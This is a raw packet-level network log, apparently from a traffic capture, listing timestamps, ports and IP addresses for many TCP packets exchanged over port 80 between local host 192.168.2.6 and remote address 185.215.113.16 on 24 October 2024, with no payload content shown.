Oct 24, 2024 11:02:47.577897072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577908993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577918053 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.577922106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577933073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577934027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.577946901 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577958107 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.577960014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577972889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577981949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.577986956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.577996969 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.577997923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578011036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578022003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578022003 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578037977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578047037 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578058958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578071117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578072071 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578097105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578111887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578257084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578269958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578282118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578291893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578296900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578306913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578309059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578322887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578322887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578336954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578337908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578350067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578361988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578362942 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578375101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578387022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578387976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578399897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578412056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578414917 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578424931 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578432083 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578438044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578444958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578452110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578464031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578473091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578494072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578538895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578552008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578563929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578573942 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578574896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578596115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578598976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578609943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578623056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578623056 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578641891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578648090 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578655005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578666925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578672886 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578677893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578689098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578689098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578702927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578712940 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578713894 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578727007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578737974 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578737974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578752041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578752995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578764915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578775883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578775883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578788042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578798056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578802109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578809977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578819990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578821898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578835964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578845978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578847885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578860998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578871012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578871965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578883886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578886032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578896999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578911066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578921080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578937054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578937054 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578948975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578954935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.578962088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.578979969 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579003096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579133987 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579147100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579157114 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579168081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579179049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579180002 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579193115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579202890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579204082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579215050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579220057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579233885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579240084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579246998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579262972 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579271078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579283953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579288960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579307079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579310894 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579333067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579343081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579344988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579358101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579366922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579370975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579382896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579387903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579400063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579400063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579413891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579422951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579427004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579444885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579447031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579456091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579469919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579474926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579488039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579488993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579503059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579511881 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579514980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579529047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579529047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579543114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579545021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579559088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579571009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579574108 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579583883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579591990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579596043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579610109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579619884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579621077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579633951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579634905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579646111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579658031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579659939 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579672098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579684019 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579684973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579699039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579700947 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579711914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579725027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579725981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579736948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579750061 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579751968 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579762936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579771996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579788923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579792976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579802990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579816103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579818010 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579828978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579840899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579843044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579858065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.579869032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.579896927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580007076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580019951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580032110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580044031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580054998 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580055952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580068111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580074072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580085039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580099106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580107927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580120087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580126047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580135107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580147028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580151081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580158949 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580173016 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580178976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580187082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580193996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580199957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580214024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580219984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580224991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580245018 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580259085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580295086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580307961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580318928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580328941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580332994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580343962 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580346107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580360889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580362082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580374002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580387115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580393076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580404997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.580415010 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580425978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.580440044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613506079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613524914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613547087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613558054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613570929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613574982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613583088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613595963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613607883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613617897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613626003 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613630056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613643885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613651037 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613658905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613671064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613678932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613683939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613707066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613722086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613724947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613738060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613749027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613759995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613770008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613770962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613790989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613797903 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613805056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613812923 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613816977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613830090 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613838911 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613842964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613857031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613867044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613867998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.613882065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.613905907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.638933897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.638956070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.638969898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.638983011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.638998032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639005899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639009953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639023066 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639039040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639039993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639058113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639074087 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639245987 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639257908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639270067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639295101 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639323950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639333010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639348030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639360905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639370918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639388084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639393091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639399052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639413118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.639420986 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639435053 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.639458895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684211969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684274912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684322119 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684329033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684356928 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684365034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684374094 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684420109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684453964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684465885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684505939 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684505939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684547901 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684573889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684608936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684617996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684643030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684653044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684684038 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684698105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684731960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684736967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684782028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684787989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684813023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684815884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684856892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684894085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684931040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.684933901 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684967995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.684978008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.685003042 CEST	80	49854	185.215.113.16	192.168.2.6
